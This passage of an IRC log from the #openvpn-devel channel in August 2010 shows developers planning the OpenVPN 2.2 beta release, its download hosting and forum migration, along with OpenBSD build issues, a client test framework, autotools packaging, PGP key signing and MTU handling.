etc. is still somewhat vague to me 13:59 <@mattock> in practice 14:00 <@mattock> ok, the final issue for me is "where we host the beta2.2 downloads" 14:00 * cron2 agrees :) 14:00 <@mattock> I suggests the plan outlined here: https://community.openvpn.net/openvpn/wiki/Topics-2010-08-05 14:00 < vpnHelper> Title: Topics-2010-08-05 – OpenVPN (at community.openvpn.net) 14:00 <@mattock> host on build.openvpn.net (=no copying from buildbot server) 14:00 <@cron2> fine with me 14:00 <@mattock> link to releases from openvpn.net 14:01 <@dazo> fine with me too 14:01 <@mattock> jamesyonan: is that ok for you? 14:01 <@cron2> (ObNit: build.openvpn.net has no IPv6 connectivity...) 14:01 <@dazo> (heh) 14:02 < jamesyonan> mattock: yeah, that's fine 14:02 <@mattock> build.openvpn.net is hosted on SoftLayer... 14:02 <@cron2> what's that? 14:03 <@cron2> softlayer.com? 14:03 <@mattock> jamesyonan: what are the official "announcement" channels? Twitter, website, mailing lists... anything else I should know of? 14:03 <@mattock> cron2: yep 14:04 <@cron2> mattock: the start page (www.softlayer.com) lists "IPv6" under the "network" title... 14:04 <@cron2> well, it just did, but the start page keeps changing 14:05 < jamesyonan> mattock: yes, usually we announce to openvpn mailing lists (including openvpn-announce) and post something on website 14:05 <@mattock> cron2: yes, saw that... so there is ipv6 support somewhere 14:05 <@mattock> I'll check what's up with it 14:05 <@cron2> www.softlayer.com has IPv6 address 2607:f0d0:1000:11:1::1 14:05 <@cron2> "they have it" :) 14:05 <@cron2> thanks 14:06 <@mattock> I'll see how it can be activate... I assume using some server console / self-service web interface 14:07 <@mattock> is there anything else on Beta 2.2 release? 14:07 <@mattock> it's going to be a busy week for me 14:07 <@mattock> :) 14:09 * dazo got nothing more now 14:09 <@mattock> so the plan as I see it: 14:09 <@mattock> I will take care of editing openvpn.net website (links to forums, trac and new downloads) 14:09 <@mattock> I will take care of providing some very basic beta2.2 packages (tar.gz, zip and perhaps debian/ubuntu packages) 14:10 <@mattock> jamesyonan will provide the Windows client + signed TAP driver binaries for the first beta 2.2 release (until build automation is in place) 14:10 <@mattock> I will setup build.openvpn.net to serve the downloads (e.g. using Apache) 14:11 <@mattock> I will make minor modifications to forums and migrate their user accounts to LDAP 14:11 <@dazo> sounds good 14:12 <@mattock> ecrist will update phpbb, dump the latest database and send the user account list to me 14:12 < krzee> [11:36] mattock: no, the openbsd port is not building 14:12 <@mattock> I'll send the announcements to mailing lists (and forums?) 14:12 < krzee> that is not true 14:12 < krzee> openvpn from openbsd ports does build 14:13 <@mattock> and somebody in the company (andrew, patel) will take care of twitter + openvpn.net web site announcements 14:13 -!- d303k [~heiko@88.130.200.246] has quit [Ping timeout: 265 seconds] 14:13 <@mattock> I guess that's it... 14:13 <@mattock> (hopefully) :) 14:13 <@cron2> krzee: it does? 14:13 <@cron2> last time you said it doesn't 14:13 < krzee> the port 14:14 < krzee> the src does not, the port does 14:14 <@cron2> last time you said the port doesn't build either (with some other error) 14:15 < krzee> iirc it didnt for my friend, but it did for me (and he was a version of obsd prior, i was on latest) 14:15 <@mattock> krzee: are you talking about the "openvpn" port as on this page: http://openports.se/net 14:15 < vpnHelper> Title: OpenPorts.se | The OpenBSD package collection (at openports.se) 14:16 <@cron2> krzee: that could explain things, yes 14:16 < krzee> mattock, i believe thats a yes 14:16 <@mattock> so there's no "openvpn-devel" port for OpenBSD? 14:17 < krzee> looks like there isnt, but that shouldnt matter much anyways 14:17 <@mattock> ok 14:18 < krzee> since afaik the devel branch is for getting a wider audience to test stuff 14:18 < krzee> and openbsd isnt exactly a wide audience 14:19 <@mattock> fkr is the "OpenBSD guy" :) 14:19 <@mattock> check the changelog: http://openports.se/net/openvpn 14:19 < vpnHelper> Title: OpenPorts.se | The OpenBSD package collection (at openports.se) 14:19 <@dazo> that is correct -devel is just to make it easier for people to test out bleeding edge stuff 14:19 < krzee> ahh right 14:20 <@mattock> ok, are we done for today? 14:20 < krzee> maybe we should be trying to get fkr to ack that openbsd patch then 14:20 < krzee> since he likely has more access to openbsd 14:20 <@mattock> krzee: good idea 14:20 * cron2 doesn't really care *who* does the ACK, but fkr seems to be somewhat busy... 14:21 < krzee> i bet hes less busy than ive been ;) 14:21 <@dazo> the patch needs to be tested, as it is a compile fix - the test is easy ... does it compile or not. ... If it compiles, then it's an ACK 14:21 <@mattock> perhaps somebody could mail him: fkr+AT+openbsd.org 14:22 < krzee> either way i should be able to finally do it very soon 14:22 <@mattock> I guess the meeting is slowly fading away... :) 14:23 <@mattock> perhaps fkr would be interested in providing an OpenBSD buildslave, too 14:24 < krzee> good call 14:25 <@mattock> I think Felix (fkr) is pretty active on -users or -devel, too 14:25 <@mattock> I can contact him about the openbsd buildslave 14:26 <@mattock> ok, I'll leave now as you guys are so passive :D 14:26 <@dazo> heh :) 14:26 <@mattock> bye! 14:27 <@dazo> see y'all! 14:27 <@cron2> n8 all :) 14:27 <@mattock> see you! 14:41 -!- dazo is now known as dazo_afk 14:43 -!- jamesyonan [~jamesyona@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has left #openvpn-devel [] 15:18 -!- d303k [~heiko@88.130.200.246] has joined #openvpn-devel 15:59 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 16:16 -!- d303k [~heiko@88.130.200.246] has quit [Quit: Konversation terminated!] 16:32 < fkr> fkr is the silent openbsd guy :) 16:32 < fkr> sorry for being so silent. 16:33 < fkr> Am leaving tomorrow on a three weeks vacation, after that things around here will be back to normal and I will have more time again --- Day changed Fri Aug 06 2010 01:15 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:15 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:29 -!- dazo_afk is now known as dazo 03:02 -!- mattock1 [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:02 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:02 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 03:10 <@dazo> uhhh .... Trac is themed now :) 03:19 <@mattock1> let's see.. 03:19 <@dazo> not bad ... just very unusual :) 03:19 <@mattock1> agreed :) 03:20 <@mattock1> yeah, works, but haven't seen anything like that before 03:20 <@dazo> :) 03:20 <@mattock1> kind of nice, actually 03:21 <@dazo> yeah, it works 03:22 <@dazo> anyhow, now it is a clearer link to the official OpenVPN pages as well 03:22 <@dazo> (the Trac logo could need a transparent background though) 03:29 <@mattock1> also, it should probably say: "OpenVPN bug tracker and wiki" 03:29 <@mattock1> or something 03:31 <@dazo> yeah 03:38 <@mattock1> dazo: where did you find the RedHat virtualization guide? I only find older ones with no mention of kvm 03:38 <@dazo> hmmm ... google? :-p ... I dunno, I had it bookmarked 03:39 <@dazo> I just googled "red hat kvm guide" ... first hit :) 03:41 <@mattock1> oh, kvm guide 03:41 <@mattock1> "redhat virtualization guide" gave only older ones 03:42 <@mattock1> with Xen stuff only 03:42 <@mattock1> thanks! 04:02 <@dazo> :) 06:49 < ecrist> howdy 07:23 <@mattock1> howdy 07:54 -!- dazo is now known as dazo_afk 08:11 < ecrist> is 2.2 going to include the new GUI? 08:11 < ecrist> on windows, that is 08:30 <@mattock1> cron2, ecrist: we just ordered an ipv6 IP block from softlayer 08:31 <@mattock1> so forums and build should support ipv6 soonish 08:40 < ecrist> excellent 09:41 <@d12fk> ecrist: don't think the GUI will be ready when 2.2 is released 09:49 < ecrist> that makes me a sad panda 09:50 < ecrist> http://www.youtube.com/watch?v=i2fEzj0ZCJ0 09:50 < vpnHelper> Title: YouTube - An Ode to a Sad Panda (at www.youtube.com) 10:04 -!- krzy [nobody@hemp.ircpimps.org] has joined #openvpn-devel 10:04 -!- krzie [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 10:05 -!- krzy [nobody@hemp.ircpimps.org] has quit [Remote host closed the connection] 10:05 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 11:33 -!- openvpn2009 [~admin@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 11:33 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 15:33 -!- mattock1 [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 16:36 -!- Bloodsong [~Nimbus@bas2-toronto02-1177972072.dsl.bell.ca] has joined #openvpn-devel 20:29 -!- Bloodsong [~Nimbus@bas2-toronto02-1177972072.dsl.bell.ca] has quit [Ping timeout: 265 seconds] 20:51 -!- Bloodsong [~Nimbus@bas2-toronto02-1177972072.dsl.bell.ca] has joined #openvpn-devel 21:02 -!- Bloodsong [~Nimbus@bas2-toronto02-1177972072.dsl.bell.ca] has quit [Ping timeout: 265 seconds] --- Day changed Sat Aug 07 2010 03:52 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:52 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:26 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 07:57 <@cron2> mattock1: great! 07:57 * cron2 is fighting with the test script, and (as expected) it's not easy :-) 08:20 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 08:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:47 -!- Bloodsong [~Nimbus@CPE0018396e5672-CM00223a697927.cpe.net.cable.rogers.com] has joined #openvpn-devel 10:47 -!- Bloodsong [~Nimbus@CPE0018396e5672-CM00223a697927.cpe.net.cable.rogers.com] has quit [Read error: Connection reset by peer] 12:55 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 16:29 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 20:52 < ecrist> !learn openssl-api as http://www.ibm.com/developerworks/linux/library/l-openssl.html 20:52 < vpnHelper> ecrist: Joo got it. 20:52 < ecrist> !learn openssl-api as http://www.ibm.com/developerworks/linux/library/l-openssl2.html 20:52 < vpnHelper> ecrist: Joo got it. 20:52 < ecrist> !learn openssl-api as http://www.ibm.com/developerworks/linux/library/l-openssl3.html 20:52 < vpnHelper> ecrist: Joo got it. 20:52 < ecrist> !openssl-api 20:52 < vpnHelper> ecrist: "openssl-api" is (#1) http://www.ibm.com/developerworks/linux/library/l-openssl.html, or (#2) http://www.ibm.com/developerworks/linux/library/l-openssl2.html, or (#3) http://www.ibm.com/developerworks/linux/library/l-openssl3.html 20:52 < ecrist> !forget openssl-api 20:52 < vpnHelper> ecrist: Error: 3 factoids have that key. Please specify which one to remove, or use * to designate all of them. 20:52 < ecrist> !forget openssl-api * 20:52 < vpnHelper> ecrist: Joo got it. 20:53 < ecrist> !learn openssl-api as Overview of the API: http://www.ibm.com/developerworks/linux/library/l-openssl.html 20:53 < vpnHelper> ecrist: Joo got it. 20:53 < ecrist> !learn openssl-api as Providing a Secure Service: http://www.ibm.com/developerworks/linux/library/l-openssl2.html 20:53 < vpnHelper> ecrist: Joo got it. 20:53 < ecrist> !learn openssl-api as Providing a Secure Servicehttp://www.ibm.com/developerworks/linux/library/l-openssl3.html 20:53 < vpnHelper> ecrist: Joo got it. 20:53 < ecrist> dammit 20:53 < ecrist> !forget openssl-api * 20:53 < vpnHelper> ecrist: Joo got it. 20:53 < ecrist> !learn openssl-api as Overview of the API: http://www.ibm.com/developerworks/linux/library/l-openssl.html 20:53 < vpnHelper> ecrist: Joo got it. 20:54 < ecrist> !learn openssl-api as Secure Handshake: http://www.ibm.com/developerworks/linux/library/l-openssl2.html 20:54 < vpnHelper> ecrist: Joo got it. 20:54 < ecrist> !learn openssl-api as Providing a Secure Service: http://www.ibm.com/developerworks/linux/library/l-openssl3.html 20:54 < vpnHelper> ecrist: Joo got it. 20:54 < ecrist> !openssl-api 20:54 < vpnHelper> ecrist: "openssl-api" is (#1) Overview of the API: http://www.ibm.com/developerworks/linux/library/l-openssl.html, or (#2) Secure Handshake: http://www.ibm.com/developerworks/linux/library/l-openssl2.html, or (#3) Providing a Secure Service: http://www.ibm.com/developerworks/linux/library/l-openssl3.html --- Day changed Sun Aug 08 2010 01:12 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 02:35 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:35 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Log closed Sun Aug 08 02:49:00 2010 --- Log opened Sun Aug 08 02:49:05 2010 02:49 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 02:49 -!- Irssi: #openvpn-devel: Total of 16 nicks [6 ops, 0 halfops, 0 voices, 10 normal] 02:49 -!- Irssi: Join to #openvpn-devel was synced in 32 secs 04:35 <@cron2> oh my 04:36 <@cron2> openvpn on OpenBSD is major pain... 04:37 <@cron2> "--dev tun" just doesn't work (because it will then not auto-assign a tun0, tun1, ... but try to configure "ifconfig tun") 04:38 * cron2 needs to work with fpk on that, as soon as he's back from vacation - OpenVPN should not behave differently on OpenBSD as it does on FreeBSD/NetBSD/... - but it does, in strange ways 05:51 <@cron2> dazo: stuff pushed and announced on the list 05:51 <@cron2> now go and break something else :-) 08:56 < krzie> yay someone else going through obsd hell 08:58 < krzie> iirc there was some hell with static ips, and topology subnet, give that a lil play if you get a chance 09:39 <@cron2> that's all only 32-bit legacy IP :-) 09:43 * cron2 works on this century's IP protocol... 10:53 < krzie> work has led me down the path of getting openvpn on XDAndroid, I will be documenting it when I finish 10:54 < krzie> I configured openvpn on windows mobile, but the winmo pocket pc way seriously sucks 11:33 < ecrist> I will have an Android phone soon, I expect openvpn to run on it, or I will lock you all in this channel until work in complete. 11:33 < ecrist> muahahahaha 11:33 < krzie> haha 11:33 < krzie> i actually just invited the guy who wrote this 11:34 < krzie> http://sourceforge.net/projects/tunneldroid/ 11:34 < vpnHelper> Title: TunnelDroid | Download TunnelDroid software for free at SourceForge.net (at sourceforge.net) 11:35 < ecrist> does android have a native tun/tap driver? 11:35 < krzie> mine doesnt 11:35 < krzie> i need to find the tun module for my kernel 11:35 < krzie> unfortunately i have a monodie topaz, which is more rare 11:35 < ecrist> TunnelDroid is listed as inactive 11:36 < ecrist> this looks to be the new project: http://code.google.com/p/android-openvpn-settings/ 11:36 < vpnHelper> Title: android-openvpn-settings - Project Hosting on Google Code (at code.google.com) 11:36 < krzie> right 11:36 < krzie> either way, i invited that dev 11:42 < krzie> what phone are you getting? 11:51 < krzie> http://pastebin.ch/4660 11:52 < krzie> interesting, have you seen that doc somewhere on openvpn.net? ild like to tell vpnHelper about it 11:53 < krzie> n/m, googled it o_O 13:15 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 14:00 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 14:51 <@cron2> so. test framework sent to list. Have fun. 15:01 < waldner> cron2: I'm probably missing the obvious here, but why not have the possibility to test both client and server on the same host via 127.0.0.1? 15:02 < waldner> (or maybe it's possible, I'm just halfway through reading; apologies if it is) 15:10 < waldner> right, t_cltsrv.sh seems to be there already 15:10 < krzee> i would assume routing wouldnt like that 15:11 < waldner> it works, I've done it before 15:11 < waldner> (on linux only though) 15:12 < waldner> oh, and cron2's framework is specifically to test the client, so shame on me for reading too quick 15:18 < krzee> interesting 15:22 <@cron2> waldner: because that would mess up routing 15:23 <@cron2> I don't know a way to set up tun0 and tun1 on the same machine and force packets for "tun0 interface IP" to go *via tun1 and OpenVPN* 15:24 <@cron2> one could hack something on Linux specifically, putting tun0 and tun1 in different "ip rule" environments - and hack something else on FreeBSD 8 and OpenBSD with multiple routing tables, but that's basically all hacks and very very system specific 15:24 <@cron2> ... and if it breaks, you never know whether it's OpenVPN or the hacks that are causing it 15:25 <@cron2> I'd actually *love* to test the server side as well, but that's more tricky (needs more coordination between different machines) - Dazo said beaker can do that, so that is likely "future" 15:29 < waldner> cron2: I see 15:30 < waldner> you could probably give a lower preference to the route via openvpn, but I agree it's very OS specific 15:31 < waldner> and some systems may see that the destination is local and take a shortcut anyway 16:03 < waldner> uhm 16:04 < waldner> however it has always worked for me in linux 16:04 < waldner> I need to try it again 16:06 < waldner> it cannot avoig going through OpenVPN, can it? 16:13 <@cron2> well, without tricks, Linux will never go through openvpn if the target address is a local interface address 16:13 <@cron2> it might be possible to do that with "ip rule" 16:17 < waldner> I'm just trying it 16:17 < waldner> oh, *now* I see what you mean 16:17 < waldner> right 16:18 < waldner> so I've always used it without realizing that 16:18 < waldner> better late than never :) 16:19 < waldner> it makes sense indeed --- Day changed Mon Aug 09 2010 01:03 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:03 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:13 -!- dazo_afk is now known as dazo 03:46 <@mattock> any ideas why on Debian Lenny "make distcheck" produces "openvpn-2.1.1o.tar.gz" and on Ubuntu 9.10 "openvpn-2.2_beta1.tar.gz" 03:46 <@mattock> it seems to depend on the PACKAGE_VERSION variable 03:47 <@mattock> but why does this happen? 03:47 <@mattock> both are using beta2.2 branch 03:56 * cron2 looks at dazo "he seems to understand that stuff" 03:56 <@dazo> mattock: it's probably different version.m4 files 03:57 <@dazo> mattock: the Ubuntu build is based on an old branch, when I was still experimenting 03:57 <@mattock> hmm... I'll check that out 03:57 <@dazo> git checkout master ; git branch -D beta2.2 ; git checkout -b beta2.2 origin/beta2.2 .... doing that on the Ubuntu should fix it 03:57 <@mattock> is it necessary to append the version string to the tarball? 03:58 <@dazo> it happens automatically by the autotools scripts 03:58 <@mattock> I mean, just creating openvpn.tar.gz would make it easier for buildbot 03:58 <@mattock> oh 03:58 <@cron2> I find that useful "you can see right away which version it is" 03:58 * dazo too 03:58 <@mattock> yep, agreed... but not for buildbot :) 03:58 <@mattock> if that version string does not change too often, then it's not a big issue 03:59 <@mattock> btw. buildbot supports uploading files (e.g. tar.gz, packages) from the slaves to master 03:59 <@mattock> just tested, works great 03:59 <@mattock> should the tarball created with "make distcheck" on Debian Lenny amd64 be ok for (all) other platforms, too= 03:59 <@mattock> ? 04:01 <@dazo> it will change on each release ... and in the allmerged version, it will contain the commit ID of the last allmerged commit, to give an indication where it comes from 04:05 <@dazo> yes, a make distcheck tarball is supposed to be platform independent ... well, POSIX compliance is expected 04:06 <@dazo> and the destination box will not even need to have autotools installed ... it's just to run ./configure directly 04:10 <@mattock> ok, great! 04:11 <@mattock> make distcheck seems to create only a tarball... any simple way to make it generate a zip? the makefile has some references to .zip archives 04:12 <@dazo> hmmm .... 04:12 * dazo thinks 04:13 <@dazo> mattock: can you try: make dist-zip ? 04:13 <@mattock> can do 04:14 <@dazo> I'd run that after make distcheck, as distcheck will do a testbuild, to be sure the tarball does build 04:14 <@cron2> grmbl 04:14 <@cron2> damn solaris 04:14 <@mattock> ok, that did it :) 04:14 <@dazo> so it's a bit of a built-in smoketest 04:14 <@mattock> should have read the makefile better :) 04:14 <@dazo> :) 04:14 <@dazo> the Makefile of autotools is a mess to read, though :-P 04:15 <@mattock> oh yes, they're all there (dist-bzip2, dist-gzip, dist-zip) 04:20 <@dazo> yeah :) 04:20 <@dazo> cat version.m4 | awk '/PRODUCT_VERSION,/ "[,\\[(\\d.*)\\]]") ; printf "openvpn-%s.%s.%s\n", w[5], w[6], w[7] }' 04:20 <@dazo> just a hackerish regexp .... can probably be improved further, but should give you some of the needed info 04:22 <@dazo> gah, won't work with 2.2-beta1 04:37 <@dazo> cat version.m4 | awk 'BEGIN { FS=","} /PRODUCT_VERSION,\[(.*)\]/{ printf "openvpn-%s\n", substr($2, 2, index($2, "]")-2) }' 04:37 <@dazo> that should work better 06:04 < waldner> cron2: regarding the echo -e, you can use printf instead of echo and that should be portable 06:33 <@cron2> waldner: "#!/bin/bash" is less pains :-) - /bin/sh on solaris is so old that var=$(( $var + 1 )) doesn't work, and if I have to find a working shell anyway, I'll just require bash 06:35 < waldner> ah, I totally agree 06:35 < waldner> but last time we talked about this, it looked as if solaris' broken /bin/sh had to be supported 06:36 <@cron2> well, my solaris installation has /bin/bash that came with the system, so I think we can rely on that... 06:37 < waldner> as I said, I'm perfectly fine with supporting modern (<10 years) shells only 06:37 <@cron2> (but then, the test framework is not something that's very useful for the large mass of users, it's more a developer tool - for example, I require "fping" and "fping6", because that's much easier than trying to get e.g. Solaris' ping to well-behave...) 06:37 < waldner> actually, solaris' /bin/sh is probably more 20 years old 06:38 < waldner> or even more 06:38 < waldner> yes 06:38 < waldner> I'd still go with printf over echo though 06:39 < waldner> some echo's might not support -e/-n, some behave as if -e was given by default, etc. 06:40 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 260 seconds] 06:41 < waldner> (unless you explicitly require /bin/bash, that is) 06:43 < waldner> oh, you said taht 06:44 < waldner> ok, please ignore me :) 06:44 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 06:44 * waldner had too little monday morning coffee 06:48 < waldner> if [ -x /sbin/ip -o -x /usr/sbin/ip ] 06:48 < waldner> I'd also look for /bin/ip 06:48 < waldner> latest iproute2 installs in /bin/ip on my system 06:48 < waldner> (2.6.34 onwards) 06:57 <@mattock> btw. on FreeBSD /bin/bash is /usr/local/bin/bash 06:57 <@mattock> had to edit my own scripts to make them work on forums.openvpn.net 06:59 < ecrist> mattock: that's one more reason linux sucks 06:59 <@mattock> ecrist: yes, typing long pathnames is so much more fun than typing short ones :) 07:00 <@mattock> let me give you an example from an maven2 project 07:01 <@mattock> didn't have the source, but SF.net SVN viewer shall suffice: http://openvpn-als.svn.sourceforge.net/viewvc/openvpn-als/adito/trunk/adito/src/com/adito/policyframework/wizards/actions/PolicySummaryAction.java?view=log 07:01 < vpnHelper> Title: SourceForge.net Repository - [openvpn-als] Log of /adito/trunk/adito/src/com/adito/policyframework/wizards/actions/PolicySummaryAction.javaSourceForge.net Repository - openvpn-als Index of / (at openvpn-als.svn.sourceforge.net) 07:01 <@mattock> ant project actually 07:03 < ecrist> I'll go pull the user list now 07:03 < ecrist> I hope I saved that query 07:04 < ecrist> of course I didn't 07:05 <@mattock> I love to relearn what I've already learned for no purpose :) 07:06 < ecrist> indeed 07:07 < ecrist> the sql was easy enough, I just need to find out why our initial report had 63 users and the new one has 145 07:09 <@mattock> hmm... strange 07:10 < ecrist> a spot check seems valid, so I'll shoot you the list I've got 07:10 <@mattock> dazo et al: do we want the filenames of the beta2.2 builds/tarballs somehow reflect the version/commit ID or something? 07:11 <@mattock> and do we want to provide older beta2.2 snapshots or just the latest one? 07:11 <@dazo> mattock: that's not needed. I will tag it one of the following days, and then that tag name points at the particular commit ID 07:12 < ecrist> mattock: in my home dir, ovpn_users.txt 07:12 <@dazo> I will tag each beta with a number ... so openvpn-2.2-beta1, openvpn-2.2-beta2, and so on .... the tag name will then be v2.2-beta1, v2.2-beta2 07:12 <@mattock> ecrist: ok, I'll get to it probably on thursday 07:13 < ecrist> no worries. I need to update the ovpnforums database to current version of phpbb before I can migrate things over 07:13 < ecrist> I'll probably to that tomorrow 07:15 <@mattock> oki 07:15 <@cron2> well, regarding location of "/*bin/ip" and "bash", I think I'll have to get configure to process t_client.sh for me... 07:15 <@mattock> first beta2.2 tarball soon to be available from build.openvpn.net 07:16 <@mattock> played with general-purpose apache/apache+ssl puppet conf longer than expected (as always) 07:16 <@mattock> broke community.openvpn.net in the process, glad nobody noticed :D 07:20 <@dazo> mattock: just beware that the official beta tarballs might be a little bit different .... as I'll update the version.m4 file when I'm tagging it 07:20 <@mattock> yep, I'm prepared to that 07:20 <@dazo> good :) 07:22 <@dazo> If more people could sign my PGP key, that would be great ... As I will sign the official git tag with PGP 07:22 <@mattock> did my signing work properly? 07:22 <@dazo> mattock: it did ... I got your gmail.com address as signer 07:23 <@mattock> nice 07:25 <@dazo> It would actually be good if some openvpn.net addresses could sign my key, as that would be a stronger indication of the authenticity of the git tags. 07:26 <@cron2> dazo: is your key ring on the PGP servers? 07:26 <@dazo> cron2: yes 07:29 <@cron2> mmmh, key servers are slow 07:30 <@dazo> yeah, I see my keys are synchronised to a lot of key servers now, so you should be able to find them several places 07:30 * cron2 has no idea who dazo is in reality, but I *am* willing to attest that this key belongs to the person that shows up as "dazo" in IRC and mails as "dazo@users.sourceforge.net" :) 07:30 <@cron2> key signed & uploaded 07:30 <@dazo> cron2: thx! :) 07:30 <@dazo> cron2: I don't exist in reality, I'm just a virtual person ;-) 07:31 <@cron2> I had that suspicion. real persons don't have so much time for open source work :-) 07:31 <@dazo> heh :) 07:34 <@mattock> I'm also dazo's friend in facebook... which makes him real. Nobody would fake Facebook accounts, right? :D 07:34 <@cron2> what is facebook? 07:34 <@cron2> *duck&run* 07:34 <@dazo> something I'll probably escape when Diaspora is on the air :-P 07:34 <@mattock> yeah, I know... it's only known in university circles 07:34 <@mattock> but it might become big some day 07:35 <@mattock> for me, Facebook is "yet another webapp I have to log into, and I don't feel like it" 07:35 <@mattock> :) 07:35 <@cron2> (indeed, I can't claim to not-know facebook, since they have IPv6 connectivity now...) 07:36 <@dazo> wherever there is IPv6, you'll find cron2 07:36 <@dazo> no matter what it is ..... 07:36 <@mattock> "to boldly go where no man has gone before" 07:37 <@cron2> dazo: not my doing in that case, but of course people told me about it :-) 07:37 <@dazo> :) 07:39 <@mattock> behold: http://build.openvpn.net/downloads/ 07:39 < vpnHelper> Title: Index of /downloads (at build.openvpn.net) 07:39 <@mattock> first buildbot-generated and apache-published beta2.2 tar.gz 07:40 <@mattock> I'd appreciate if somebody could try building it on some other (non-Debian Lenny amd64) platform 07:43 <@dazo> talking about IPv6 ... 07:43 * dazo has actually spent some time updating python-ethtool with IPv6 address retrieval support 07:43 <@cron2> :) 07:45 <@mattock> zip packages coming up... 08:06 <@mattock> started cleaning up openvpn.net community section 08:06 <@mattock> and adding links to trac & friends 08:22 <@mattock> btw. any suggestions to improve the "Community software" section on openvpn.net are most welcome 08:23 <@mattock> just added links to existing community services into "Community software -> Overview" 08:23 <@mattock> not in production yet, though 08:39 -!- ultramage [umage@kurobara.netvor.sk] has joined #openvpn-devel 08:39 < ultramage> hello there, I'm trying to figure out http://listgateway.unipi.it/pipermail/n2n/2010-August/000668.html and I'm hoping someone here will know what this is all about :) 08:39 < vpnHelper> Title: [n2n] MTU issues (at listgateway.unipi.it) 08:41 < ultramage> I've also noticed that openvpn seems to do some more complex mtu processing inside, and since that's a rather specific thing, I was told to ask here 08:43 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 08:48 <@dazo> ultramage: check out mtu.c and fragment.c in the source code, I believe most of the fragmentation and MTU stuff happens there 09:14 < waldner> openvpn does MSS clamping 09:16 < waldner> see http://article.gmane.org/gmane.network.openvpn.user/29628 09:16 < vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 09:16 < waldner> http://thread.gmane.org/gmane.network.openvpn.user/29628, rather 09:16 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 09:30 < ultramage> dazo: thank you, I'll do an attempt at understanding what it's about :) 09:30 < ultramage> I'm not much of a network guy 09:34 < ultramage> mmm, MSS... that might be the reason why openvpn has no issues whereas n2n either reduces MTU (which breaks some servers), or starts ip-fragmenting 09:35 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 10:00 < ultramage> the code looks okay, but I am unable to find the place where the MSS is actually changed =S 10:02 < ultramage> ahh, mss_fixup (&ipbuf, MTU_TO_MSS (TUN_MTU_SIZE_DYNAMIC (&c->c2.frame))); 11:34 -!- dazo is now known as dazo_afk 12:32 <@cron2> how do I tell git that I have renamed a file? will it figure that out for itself? 12:51 < waldner> I think you should have used git mv 12:51 < waldner> that said, I don't know enough of git to suggest how you can fix it :) 15:35 <@cron2> thanks 15:35 <@cron2> (mv back, call git-mv :) ) 15:57 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 21:23 -!- krzee [~k@unaffiliated/krzee] has quit [Quit: Leaving] --- Day changed Tue Aug 10 2010 01:03 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:03 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:17 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 02:25 -!- dazo_afk is now known as dazo 02:26 <@dazo> cron2: git mv is the "proper" way ... even though doing git rm ; git add also works 02:27 <@dazo> (remember that git tracks file contents, and puts a filename to it just as a reference, so it would detect the rename as long as both the old and the new file are in the index) 02:29 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Read error: Operation timed out] 02:29 -!- ScriptFanix [vincent@hanaman.riquer.fr] has joined #openvpn-devel 02:44 -!- mattock [~samuli@gprs-prointernet-ffd5c200-76.dhcp.inet.fi] has joined #openvpn-devel 02:44 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:36 -!- mattock1 [~samuli@gprs-prointernet-ff326a00-126.dhcp.inet.fi] has joined #openvpn-devel 03:37 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:39 -!- mattock [~samuli@gprs-prointernet-ffd5c200-76.dhcp.inet.fi] has quit [Ping timeout: 265 seconds] 03:45 -!- mattock1 [~samuli@gprs-prointernet-ff326a00-126.dhcp.inet.fi] has quit [Ping timeout: 246 seconds] 03:49 * cron2 is now building t_client.sh from t_client.sh.in, substituting @SHELL@, @IPROUTE@ etc. via configure 03:50 <@dazo> neat! 03:51 <@cron2> that's the only way around unix portability hell :-) 03:52 <@cron2> *sigh 03:52 <@cron2> t_client.sh is built perfectly well, but then doesn't get "chmod +x" set 03:59 <@cron2> fiddle with Makefile.am, configure.ac... 04:04 <@cron2> ok, this is all FAIL... need to read autoconf docs... *sigh* 04:04 <@cron2> off to work now 05:26 <@dazo> cron2: what's the issue? I believe there are some possibilities to add the needed chmod +x as part of a "build rule" 05:28 <@cron2> dazo: well, that's the issue "I don't know how to do that". 